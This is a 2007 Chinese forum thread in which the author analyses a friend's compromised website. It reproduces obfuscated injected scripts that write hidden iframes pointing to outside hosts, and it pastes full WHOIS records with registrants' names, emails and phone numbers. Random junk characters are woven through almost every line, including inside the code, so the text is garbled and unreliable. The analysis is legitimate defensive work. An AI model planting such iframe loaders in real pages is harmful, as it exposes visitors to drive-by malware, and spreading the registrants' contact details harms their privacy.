社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5523阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, 6+)x7g1PL  
k{{hZ/om  
http://www.areway.cn/?p=175 Vpw[B.v  
Mlwdha0  
-)6;0  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: +0dT^Jkqg  
          .OV-`TNWj  
<script>t=’60,105,102,114,97,109,101, ,m3":{G:t.  
32,115,114,99,61,104,116,116,112,58,47,47, mZE8.`  
102,114,101,101,46,117,45,117,117,117,46,99, w#<p^CS  
110,47,101,114,114,111,114,46,104,116,109, egWx9xX  
32,119,105,100,116,104,61,49,48,48,32,104, o"\{OX  
101,105,103,104,116,61,48,62,60,47,105,102, p>&S7M/9  
114,97,109,101,62′;  -tMA  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> b@!:=_Mr  
                                                                                                  *7_@7=W,  
<script>t=’60,105,102,114,97,109,101,32,115, EU9[F b]  
114,99,61,104,116,116,112,58,47,47,102,114, )6 k1 P  
101,101,46,117,45,117,117,117,46,99,110,47, 3u4:l  
101,114,114,111,114,46,104,116,109,32,119, VAg68 EbnF  
105,100,116,104,61,49,48,48,32,104,101,105, dxntGH< O  
103,104,116,61,48,62,60,47,105,102,114,97, EZ `}*Yrd  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); V $>"f(  
document.write(t);</script> ([tG y  
                                                                                                  ~hzEKvs  
<html xmlns=” )\"I*Jwir  
http://www.w3.org/1999/xhtml q^%5HeV 2  
“> =oPng= :  
<head> q#|r   
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> +NT:<(;|i5  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> fQ1 0O(`g,  
<title>首页 - 爱生活家庭网 j<@fT ewZ  
                                                                                                                                                    "\<P$&`HA  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 58PKx5`D  
转换字符串后的大概内容是(谁点击后果自付): _)q4I(s*  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… HGb.656r  
                                                                                                                                  s6IP;}  
查询玉米u-uuu.cn的详细信息: ?jFc@t*\:  
Domain Name: u-uuu.cn 5Fh8*8u6hL  
ROID: 20070901s10001s64972306-cn aTX]+tBoe  
Domain Status: ok UC(9Dz  
Registrant Organization: 王雷 Q8 4t9b  
Registrant Name: 王雷 ;!:F#gahv  
Administrative Email: czlovexs@126.com )6g&v'dq  
Sponsoring Registrar: 北京万网志成科技有限公司 "d2LyQy  
Name Server:ns.yovole.com l)H9J]  
Name Server:ns1.yovole.com g/6nw a  
Registration Date: 2007-09-01 17:54 TRo4I{L6S  
Expiration Date: 2008-09-01 17:54 [m %W:Ez  
最后PING了一下地址 都没有什么…. @| P3  
                                                                                                n-W?Z'H{r  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. @T_O6TcY  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> -C=]n<ak  
<script language=”javascript” src=” K: 4P ;ApI  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script uZ-`fcCjD  
> dhs#D:/{9  
这个玉米应该有可能是木马作者的: K# /Ch5?  
foafau.info的详细信息: dw3'T4TC?  
Access to INFO WHOIS information is provided to assist persons in bYK]G+Ww  
determining the contents of a domain name registration record in the hg{ &Y(J!U  
Afilias registry database. The data in this record is provided by M{G$Pk8[  
Afilias Limited for informational purposes only, and Afilias does not 6z PV'~q  
guarantee its accuracy.  This service is intended only for query-based K/~Y!?:J r  
access. You agree that you will use this data only for lawful purposes C_C$5[~-:  
and that, under no circumstances will you use this data to: (a) allow, 9X.gg$P  
enable, or otherwise support the transmission by e-mail, telephone, or C5cFw/',  
facsimile of mass unsolicited, commercial advertising or solicitations ')rD?Z9 ^  
to entities other than the data recipient’s own existing customers; or b6]e4DL:R  
(b) enable high volume, automated, electronic processes that send )S#j.8P'B  
queries or data to the systems of Registry Operator, a Registrar, or {;\%!I  
Afilias except as reasonably necessary to register domain names or (5>{?dR)|  
modify existing registrations. All rights reserved. Afilias reserves %@o&*pF^,  
the right to modify these terms at any time. By submitting this query, u^!&{q  
you agree to abide by this policy. tjt=N\;  
Domain ID:D22418703-LRMS /m;O;2"  
Domain Name:FOAFAU.INFO # .~.UHt  
Created On:20-Nov-2007 16:05:42 UTC /O+e#z2f<  
Last Updated On:20-Nov-2007 16:05:44 UTC [q w  
Expiration Date:20-Nov-2008 16:05:42 UTC b5[f 5  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) HuK Aj  
Status:CLIENT DELETE PROHIBITED O.dux5lfBd  
Status:CLIENT RENEW PROHIBITED |b,zw^!e['  
Status:CLIENT TRANSFER PROHIBITED Dxz5NW4  
Status:CLIENT UPDATE PROHIBITED Gi;9 S  
Status:TRANSFER PROHIBITED e K\|SQb  
Registrant ID:GODA-040110615 7L1\1E:!  
Registrant Name:liu hong gW/QFZjY  
Registrant Organization: O~nBz):2  
Registrant Street1:beijing v]l&dgoT  
Registrant Street2: \l>q Y(gu  
Registrant Street3: %}\ vW  
Registrant City:beijing K90D1sD  
Registrant State/Province: {jrZ?e-q  
Registrant Postal Code:100000 IruyE(;HS  
Registrant Country:CN G3oxa/mO  
Registrant Phone:+86.860108888777 #*[,woNk  
Registrant Phone Ext.: 2lX[hFa5  
Registrant FAX: vI4%d,  
Registrant FAX Ext.: 'M47'{7T  
Registrant Email:bbbshiji@163.com sb8z_3   
Admin ID:GODA-240110615 {_": / A  
Admin Name:liu hong P*}9,VoY  
Admin Organization: u=1B^V,6V  
Admin Street1:beijing 5?D1][  
Admin Street2: q#l.A?rK\  
Admin Street3: =ZFcxGo  
Admin City:beijing X+/{%P!w  
Admin State/Province: Jii?r*"d  
Admin Postal Code:100000 -WQ_[t9l  
Admin Country:CN uPM8GIvZX.  
Admin Phone:+86.860108888777 W dei`u[  
Admin Phone Ext.: iH($rSE  
Admin FAX: ~+7ad$   
Admin FAX Ext.: +#^sy>  
Admin Email:bbbshiji@163.com |^ 2rtI  
Billing ID:GODA-340110615 vcaBL<io  
Billing Name:liu hong {yGZc3e1j  
Billing Organization: Kc%tnVyGh:  
Billing Street1:beijing {vf+sf ^^q  
Billing Street2: G~Sy&XJuq  
Billing Street3: ,?P8m"  
Billing City:beijing Lw!?T(SK  
Billing State/Province: K<Yn_G  
Billing Postal Code:100000 mrhsKmH  
Billing Country:CN 2<p5_4"-U*  
Billing Phone:+86.860108888777 FSI]k:  
Billing Phone Ext.: ^yzo!`)fso  
Billing FAX: 3s88#_eT  
Billing FAX Ext.: 5q0BG!A%T  
Billing Email:bbbshiji@163.com xc:`}4  
Tech ID:GODA-140110615 =1V>Vd?8.  
Tech Name:liu hong -wPuml!hZ|  
Tech Organization: S7@ZtFf  
Tech Street1:beijing GGFar\ EzW  
Tech Street2: j+z'  
Tech Street3: AAeQ-nbP  
Tech City:beijing Dx p>  
Tech State/Province: }rFsU\]:q  
Tech Postal Code:100000 i{%z  
Tech Country:CN ?,A}E|jZ  
Tech Phone:+86.860108888777 kKFuTem_3  
Tech Phone Ext.: )Tyky%P+iI  
Tech FAX: bCJ<=X,g`K  
Tech FAX Ext.: ~(w=U *  
Tech Email:bbbshiji@163.com V{7lltu  
Name Server:NS27.DOMAINCONTROL.COM hfl%r9o  
Name Server:NS28.DOMAINCONTROL.COM UKt/0Ze  
Name Server: mcAH1k e  
Name Server: n.;5P {V1  
Name Server: =woqHTR  
Name Server: ;] l{D}  
Name Server: eG[umv.9b  
Name Server: PHe~{"|d?  
Name Server: o O{|C&A  
Name Server: )<H 91:.  
Name Server: 's56L,^:  
Name Server: 1I:"0("}  
Name Server: ZmYa.4'L  
                                                                                                          %l9WZ*yZ`2  
接着下载每个文件里面的代码: X r  
一步一步看.. Z L6~Eut  
:N+K^gI)  
p``;!3~ ~  
!ch[I#&J-  
)%H5iSNG$P  
#XYLVee,  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八